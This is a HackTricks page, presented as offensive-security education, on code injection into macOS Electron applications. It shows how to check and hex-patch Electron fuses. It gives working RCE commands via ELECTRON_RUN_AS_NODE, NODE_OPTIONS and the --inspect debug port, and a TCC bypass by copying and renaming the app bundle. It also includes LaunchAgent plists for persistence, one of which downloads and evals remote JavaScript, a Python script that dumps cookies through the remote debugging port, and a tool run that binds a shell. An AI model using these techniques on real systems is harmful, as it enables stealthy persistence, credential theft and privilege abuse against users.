hacktricks/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md
Carlos Polop 731fca1d57 a
2024-07-18 18:14:56 +02:00

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# macOS Electron Applications Injection
{% hint style="success" %}
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{% endhint %}
## Basic Information
If you don't know what Electron is you can find [**lots of information here**](https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps). But for now just know that Electron runs **node**.\
And node has some **parameters** and **env variables** that can be use to **make it execute other code** apart from the indicated file.
### Electron Fuses
These techniques will be discussed next, but in recent times Electron has added several **security flags to prevent them**. These are the [**Electron Fuses**](https://www.electronjs.org/docs/latest/tutorial/fuses) and these are the ones used to **prevent** Electron apps in macOS from **loading arbitrary code**:
* **`RunAsNode`**: If disabled, it prevents the use of the env var **`ELECTRON_RUN_AS_NODE`** to inject code.
* **`EnableNodeCliInspectArguments`**: If disabled, params like `--inspect`, `--inspect-brk` won't be respected. Avoiding his way to inject code.
* **`EnableEmbeddedAsarIntegrityValidation`**: If enabled, the loaded **`asar`** **file** will be **validated** by macOS. **Preventing** this way **code injection** by modifying the contents of this file.
* **`OnlyLoadAppFromAsar`**: If this is enabled, instead of searching to load in the following order: **`app.asar`**, **`app`** and finally **`default_app.asar`**. It will only check and use app.asar, thus ensuring that when **combined** with the **`embeddedAsarIntegrityValidation`** fuse it is **impossible** to **load non-validated code**.
* **`LoadBrowserProcessSpecificV8Snapshot`**: If enabled, the browser process uses the file called `browser_v8_context_snapshot.bin` for its V8 snapshot.
Another interesting fuse that won't be preventing code injection is:
* **EnableCookieEncryption**: If enabled, the cookie store on disk is encrypted using OS level cryptography keys.
### Checking Electron Fuses
You can **check these flags** from an application with:
```bash
npx @electron/fuses read --app /Applications/Slack.app
Analyzing app: Slack.app
Fuse Version: v1
RunAsNode is Disabled
EnableCookieEncryption is Enabled
EnableNodeOptionsEnvironmentVariable is Disabled
EnableNodeCliInspectArguments is Disabled
EnableEmbeddedAsarIntegrityValidation is Enabled
OnlyLoadAppFromAsar is Enabled
LoadBrowserProcessSpecificV8Snapshot is Disabled
```
### Modifying Electron Fuses
As the [**docs mention**](https://www.electronjs.org/docs/latest/tutorial/fuses#runasnode), the configuration of the **Electron Fuses** are configured inside the **Electron binary** which contains somewhere the string **`dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX`**.
In macOS applications this is typically in `application.app/Contents/Frameworks/Electron Framework.framework/Electron Framework`
```bash
grep -R "dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX" Slack.app/
Binary file Slack.app//Contents/Frameworks/Electron Framework.framework/Versions/A/Electron Framework matches
```
You could load this file in [https://hexed.it/](https://hexed.it/) and search for the previous string. After this string you can see in ASCII a number "0" or "1" indicating if each fuse is disabled or enabled. Just modify the hex code (`0x30` is `0` and `0x31` is `1`) to **modify the fuse values**.
<figure><img src="../../../.gitbook/assets/image (34).png" alt=""><figcaption></figcaption></figure>
Note that if you try to **overwrite** the **`Electron Framework` binary** inside an application with these bytes modified, the app won't run.
## RCE adding code to Electron Applications
There could be **external JS/HTML files** that an Electron App is using, so an attacker could inject code in these files whose signature won't be checked and execute arbitrary code in the context of the app.
{% hint style="danger" %}
However, at the moment there are 2 limitations:
* The **`kTCCServiceSystemPolicyAppBundles`** permission is **needed** to modify an App, so by default this is no longer possible.
* The compiled **`asap`** file usually has the fuses **`embeddedAsarIntegrityValidation`** `and` **`onlyLoadAppFromAsar`** `enabled`
Making this attack path more complicated (or impossible).
{% endhint %}
Note that it's possible to bypass the requirement of **`kTCCServiceSystemPolicyAppBundles`** by copying the application to another directory (like **`/tmp`**), renaming the folder **`app.app/Contents`** to **`app.app/NotCon`**, **modifying** the **asar** file with your **malicious** code, renaming it back to **`app.app/Contents`** and executing it.
You can unpack the code from the asar file with:
```bash
npx asar extract app.asar app-decomp
```
And pack it back after having modified it with:
```bash
npx asar pack app-decomp app-new.asar
```
## RCE with `ELECTRON_RUN_AS_NODE` <a href="#electron_run_as_node" id="electron_run_as_node"></a>
According to [**the docs**](https://www.electronjs.org/docs/latest/api/environment-variables#electron\_run\_as\_node), if this env variable is set, it will start the process as a normal Node.js process.
{% code overflow="wrap" %}
```bash
# Run this
ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord
# Then from the nodeJS console execute:
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator')
```
{% endcode %}
{% hint style="danger" %}
If the fuse **`RunAsNode`** is disabled the env var **`ELECTRON_RUN_AS_NODE`** will be ignored, and this won't work.
{% endhint %}
### Injection from the App Plist
As [**proposed here**](https://www.trustedsec.com/blog/macos-injection-via-third-party-frameworks/), you could abuse this env variable in a plist to maintain persistence:
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>EnvironmentVariables</key>
<dict>
<key>ELECTRON_RUN_AS_NODE</key>
<string>true</string>
</dict>
<key>Label</key>
<string>com.xpnsec.hideme</string>
<key>ProgramArguments</key>
<array>
<string>/Applications/Slack.app/Contents/MacOS/Slack</string>
<string>-e</string>
<string>const { spawn } = require("child_process"); spawn("osascript", ["-l","JavaScript","-e","eval(ObjC.unwrap($.NSString.alloc.initWithDataEncoding( $.NSData.dataWithContentsOfURL( $.NSURL.URLWithString('http://stagingserver/apfell.js')), $.NSUTF8StringEncoding)));"]);</string>
</array>
<key>RunAtLoad</key>
<true/>
</dict>
</plist>
```
## RCE with `NODE_OPTIONS`
You can store the payload in a different file and execute it:
{% code overflow="wrap" %}
```bash
# Content of /tmp/payload.js
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator');
# Execute
NODE_OPTIONS="--require /tmp/payload.js" ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord
```
{% endcode %}
{% hint style="danger" %}
If the fuse **`EnableNodeOptionsEnvironmentVariable`** is **disabled**, the app will **ignore** the env var **NODE\_OPTIONS** when launched unless the env variable **`ELECTRON_RUN_AS_NODE`** is set, which will be also **ignored** if the fuse **`RunAsNode`** is disabled.
If you don't set **`ELECTRON_RUN_AS_NODE`** , you will find the **error**: `Most NODE_OPTIONs are not supported in packaged apps. See documentation for more details.`
{% endhint %}
### Injection from the App Plist
You could abuse this env variable in a plist to maintain persistence adding these keys:
```xml
<dict>
<key>EnvironmentVariables</key>
<dict>
<key>ELECTRON_RUN_AS_NODE</key>
<string>true</string>
<key>NODE_OPTIONS</key>
<string>--require /tmp/payload.js</string>
</dict>
<key>Label</key>
<string>com.hacktricks.hideme</string>
<key>RunAtLoad</key>
<true/>
</dict>
```
## RCE with inspecting
According to [**this**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f), if you execute an Electron application with flags such as **`--inspect`**, **`--inspect-brk`** and **`--remote-debugging-port`**, a **debug port will be open** so you can connect to it (for example from Chrome in `chrome://inspect`) and you will be able to **inject code on it** or even launch new processes.\
For example:
{% code overflow="wrap" %}
```bash
/Applications/Signal.app/Contents/MacOS/Signal --inspect=9229
# Connect to it using chrome://inspect and execute a calculator with:
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator')
```
{% endcode %}
{% hint style="danger" %}
If the fuse **`EnableNodeCliInspectArguments`** is disabled, the app will **ignore node parameters** (such as `--inspect`) when launched unless the env variable **`ELECTRON_RUN_AS_NODE`** is set, which will be also **ignored** if the fuse **`RunAsNode`** is disabled.
However, you could still use the **electron param `--remote-debugging-port=9229`** but the previous payload won't work to execute other processes.
{% endhint %}
Using the param **`--remote-debugging-port=9222`** it's possible to steal some information from the Electron App like the **history** (with GET commands) or the **cookies** of the browser (as they are **decrypted** inside the browser and there is a **json endpoint** that will give them).
You can learn how to do that in [**here**](https://posts.specterops.io/hands-in-the-cookie-jar-dumping-cookies-with-chromiums-remote-debugger-port-34c4f468844e) and [**here**](https://slyd0g.medium.com/debugging-cookie-dumping-failures-with-chromiums-remote-debugger-8a4c4d19429f) and use the automatic tool [WhiteChocolateMacademiaNut](https://github.com/slyd0g/WhiteChocolateMacademiaNut) or a simple script like:
```python
import websocket
ws = websocket.WebSocket()
ws.connect("ws://localhost:9222/devtools/page/85976D59050BFEFDBA48204E3D865D00", suppress_origin=True)
ws.send('{\"id\": 1, \"method\": \"Network.getAllCookies\"}')
print(ws.recv()
```
In [**this blogpost**](https://hackerone.com/reports/1274695), this debugging is abused to make a headless chrome **download arbitrary files in arbitrary locations**.
### Injection from the App Plist
You could abuse this env variable in a plist to maintain persistence adding these keys:
```xml
<dict>
<key>ProgramArguments</key>
<array>
<string>/Applications/Slack.app/Contents/MacOS/Slack</string>
<string>--inspect</string>
</array>
<key>Label</key>
<string>com.hacktricks.hideme</string>
<key>RunAtLoad</key>
<true/>
</dict>
```
## TCC Bypass abusing Older Versions
{% hint style="success" %}
The TCC daemon from macOS doesn't check the executed version of the application. So if you **cannot inject code in an Electron application** with any of the previous techniques you could download a previous version of the APP and inject code on it as it will still get the TCC privileges (unless Trust Cache prevents it).
{% endhint %}
## Run non JS Code
The previous techniques will allow you to run **JS code inside the process of the electron application**. However, remember that the **child processes run under the same sandbox profile** as the parent application and **inherit their TCC permissions**.\
Therefore, if you want to abuse entitlements to access the camera or microphone for example, you could just **run another binary from the process**.
## Automatic Injection
The tool [**electroniz3r**](https://github.com/r3ggi/electroniz3r) can be easily used to **find vulnerable electron applications** installed and inject code on them. This tool will try to use the **`--inspect`** technique:
You need to compile it yourself and can use it like this:
```bash
# Find electron apps
./electroniz3r list-apps
╔══════════════════════════════════════════════════════════════════════════════════════════════════════╗
║ Bundle identifier │ Path ║
╚──────────────────────────────────────────────────────────────────────────────────────────────────────╝
com.microsoft.VSCode /Applications/Visual Studio Code.app
org.whispersystems.signal-desktop /Applications/Signal.app
org.openvpn.client.app /Applications/OpenVPN Connect/OpenVPN Connect.app
com.neo4j.neo4j-desktop /Applications/Neo4j Desktop.app
com.electron.dockerdesktop /Applications/Docker.app/Contents/MacOS/Docker Desktop.app
org.openvpn.client.app /Applications/OpenVPN Connect/OpenVPN Connect.app
com.github.GitHubClient /Applications/GitHub Desktop.app
com.ledger.live /Applications/Ledger Live.app
com.postmanlabs.mac /Applications/Postman.app
com.tinyspeck.slackmacgap /Applications/Slack.app
com.hnc.Discord /Applications/Discord.app
# Check if an app has vulenrable fuses vulenrable
## It will check it by launching the app with the param "--inspect" and checking if the port opens
/electroniz3r verify "/Applications/Discord.app"
/Applications/Discord.app started the debug WebSocket server
The application is vulnerable!
You can now kill the app using `kill -9 57739`
# Get a shell inside discord
## For more precompiled-scripts check the code
./electroniz3r inject "/Applications/Discord.app" --predefined-script bindShell
/Applications/Discord.app started the debug WebSocket server
The webSocketDebuggerUrl is: ws://127.0.0.1:13337/8e0410f0-00e8-4e0e-92e4-58984daf37e5
Shell binding requested. Check `nc 127.0.0.1 12345`
```
## References
* [https://www.electronjs.org/docs/latest/tutorial/fuses](https://www.electronjs.org/docs/latest/tutorial/fuses)
* [https://www.trustedsec.com/blog/macos-injection-via-third-party-frameworks](https://www.trustedsec.com/blog/macos-injection-via-third-party-frameworks)
* [https://m.youtube.com/watch?v=VWQY5R2A6X8](https://m.youtube.com/watch?v=VWQY5R2A6X8)
{% hint style="success" %}
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<details>
<summary>Support HackTricks</summary>
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* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}